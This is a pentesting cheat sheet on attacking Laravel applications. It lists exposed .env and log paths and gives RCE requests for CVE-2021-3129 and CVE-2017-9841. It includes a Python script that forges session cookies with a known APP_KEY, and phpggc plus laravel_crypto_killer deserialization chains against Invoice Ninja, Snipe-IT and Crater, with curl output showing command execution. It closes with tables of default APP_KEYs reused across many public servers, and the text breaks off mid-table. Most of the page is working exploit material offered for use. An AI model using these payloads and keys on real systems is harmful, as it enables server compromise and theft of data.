# Laravel [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA) {% embed url="" %} ## Detection ``` Set-Cookie: laravel_session= ``` ## Version ``` https://example.com/composer.json ``` Sometimes the version is printed ## Enumeration {% embed url="" %} {% embed url="" %} ## SSTI {% content-ref url="/pages/W7YTJcqF37A9YPhegJeO" %} [SSTI](/0xss0rz/pentest/web-attacks/ssti.md) {% endcontent-ref %} ## CVE Also check [deserialization attacks](#laravel-crypto-killer-deserialization-attacks) part ### CVE-2021-3129 (Remote Code Execution) ``` POST /_ignition/execute-solution HTTP/1.1 Host: example.com Accept: application/json Content-Type: application/json {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} ``` 2. Laravel 4.8.28 \~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841) ``` curl -d "" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php ```
PoC: {% embed url="" %} ## Exposed environment variable ``` http://example.com/.env ```
Vulnerable path: ``` /.env /vendor/.env /lib/.env /lab/.env /cronlab/.env /cron/.env /core/.env /core/app/.env /core/Database/.env /database/.env /config/.env /assets/.env /app/.env /apps/.env /uploads/.env /sitemaps/.env /site/.env /admin/.env /web/.env /public/.env /en/.env /tools/.env /v1/.env /administrator/.env /laravel/.env ``` ### RCE {% embed url="" %} ## Exposed log files ``` http://example.com/storage/logs/laravel.log site.com/laravel-folder/storage/logs/laravel.log/ (Search For token) site.com/laravel-folder/storage/framework/sessions/ (Active session) ``` ## Debug mode * Try to request to [https://example.com](https://example.com/) using POST method (Error 405) * Using \[] in paramater (ex:example.com/param\[]=0) If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**. For example `http://127.0.0.1:8000/profiles` {% hint style="success" %} *Look for* [*APP\_KEY*](#laravel-crypto-killer-deserialization-attacks) {% endhint %} ## Laravel FileManager ``` /laravel-filemanager/ ```
## .env Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env` Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated). Using the secret `APP_KEY` of Laravel you can decrypt and re-encrypt cookies: #### Decrypt Cookie ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = 128 crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = 128 crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8 ``` ## Laravel crypto killer - Deserialization attacks **By default**, a call to the `decrypt` function will consider the decrypted string as serialized data. The variable used as the decryption key in the `openssl_decrypt` function is the `APP_KEY`. In summary, a user in possession of this secret will be able to re-encrypt data to carry out a deserialization attack and thus compromise the server hosting the Laravel application. {% embed url="" %} {% hint style="danger" %} ***Ninja**, **Snipe-IT** and **Crater** are deployed with a default `.env.example` file containing a default `APP_KEY`, which is likely to be used in production* {% endhint %} #### CVE-2024-55555 - Invoice Ninja Generate a serialization payload: ``` $ php8.2 phpggc Laravel/RCE13 system id -b -f YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ== ``` Exploit: ``` $ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f) [+] Here is your laravel ciphered value, happy hacking mate! eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0= # Reusing the previous chain on invoiceninja $ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1 uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja) ``` #### CVE-2024-48987 - Snipe IT - XSRF-TOKEN serialization ``` $ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b) eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0= # Reusing the previous base64 chain to trigger the remote command execution $ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1 uid=1000(docker) gid=50(staff) groups=50(staff) ``` #### CVE-2024-55556 - Crater - Vulnerable SESSION\_DRIVER cookie Retrieve the cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT: ``` $ curl -I http://localhost/login HTTP/1.1 200 OK Server: nginx/1.17.10 Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/8.1.29 Cache-Control: no-cache, private Date: Tue, 03 Sep 2024 12:28:44 GMT Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax ``` Decrypt the cookie: ``` $ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D [+] Unciphered value identified! [*] Unciphered value ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924} [*] Base64 encoded unciphered version b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw==' [+] Matched serialized data in results! It is time to exploit unserialization! ``` Encrypt the serialized payload - The hash value before the pipe (`|`) (here `ae8213eefa7b10062a52485c7dcca8a5a937cc1c`) should then be passed to the `--session_cookie` option to re-encrypt a valid Laravel cookie. ``` $ php8.2 phpggc Laravel/RCE15 'system' 'id' -b Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= $ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c [+] Here is your laravel ciphered session cookie eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0= ``` ``` $ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1 uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-dat ``` ## Cookie ### Checks 'laravel\_session' cookies for known laravel 'APP\_KEY' BadSecrets: {% embed url="" %} ### Cookie Monster ### Cookie Monster {% embed url="" %} ## APP\_KEY - Bruteforce By default, each cookie set by Laravel is a value encrypted via the `encrypt` function. Therefore, these values can be used to brute force the associated `APP_KEY`. ``` # curl on a default Laravel installation $ curl http://localhost/ -I HTTP/1.1 200 OK Host: localhost Connection: close X-Powered-By: PHP/8.3.22 Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, private Date: Mon, 23 Jun 2025 12:05:20 GMT Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax ``` Bruteforce: ``` $ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D [*] The option --key_file was not defined, using files from the folder wordlists... 0%| | 0/1 [00:00" %} | Position | Number of public servers sharing it | APP\_KEY | Description | | -------- | ----------------------------------- | -------------------------------------------- | ------------------------------------------------------------------------------------- | | 🥇 | 561 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Default key of UltimatePOS available on CodeCanyon | | 🥈 | 491 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Frequently used in bootstrapped projects | | 🥉 | 415 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Default key of XPanel SSH User Management | | 4️⃣ | 313 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk= | base64 value of SomeRandomStringOf32 CharsExactly | | 5️⃣ | 257 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP\_KEY shared between unrelated projects | | 6️⃣ | 216 | U29tZVJhbmRvbVN0cmluZw== | Default APP\_KEY on older Laravel Version base64 value of SomeRandomString | | 7️⃣ | 198 | 1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E= | Seems linked to several platforms linked to crypto wallet management | | 8️⃣ | 195 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Default key of WASender a message sender for WhatsApp | | 9️⃣ | 177 | yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q= | Default key on several AI based projects | | 🔟 | 155 | ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs= | Key shared between several random Laravel projects, seems they are copying each other | | 11 | 152 | RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= | Default key on Invoice ninja | | 79 | 44 | 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= | Default key on Snipe-IT | | Position | Number of public servers sharing it | APP\_KEY | Description | Position since 2024 | | -------- | ----------------------------------- | --------------------------------------------- | ------------------------------------------------------------------------------------------ | ------------------- | | 🥇 | 1650 | W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA= | Default key of UltimatePOS available on CodeCanyon | 🟰 | | 🥈 | 1132 | xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw= | Key shared between several projects of an Indonesian company | 🆕 | | 🥉 | 518 | U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk== | base64 value of SomeRandomStringOf32CharsExactly | ⬆️ | | 4️⃣ | 275 | SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng= | Frequently used in bootstrapped projects | ⬇️ | | 5️⃣ | 275 | otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI= | Default key of XPanel SSH User Management | ⬇️ | | 6️⃣ | 203 | U29tZVJhbmRvbVN0cmluZw== | Default APP\_KEY on older Laravel Version base64 value of SomeRandomString | 🟰 | | 7️⃣ | 170 | FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs= | APP\_KEY shared between unrelated projects | ⬇️ | | 8️⃣ | 165 | BlQYTmcfZGV4XShvK5Z+ffNVWv0qszkUTRuEGmQ76lw= | Default key of Rocket LMS available on CodeCanyon | 🆕 | | 9️⃣ | 164 | EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw= | Default key of WASender a message sender for WhatsApp | ⬇️ | | 🔟 | 157 | hMS5VtciEk3t/0Ije8BCRl+AZOvU2gJanbAw5i/LgIs= | Default key of Flex Home - Laravel Real Estate Multilingual System available on CodeCanyon | 🆕 | | 11 | 153 | 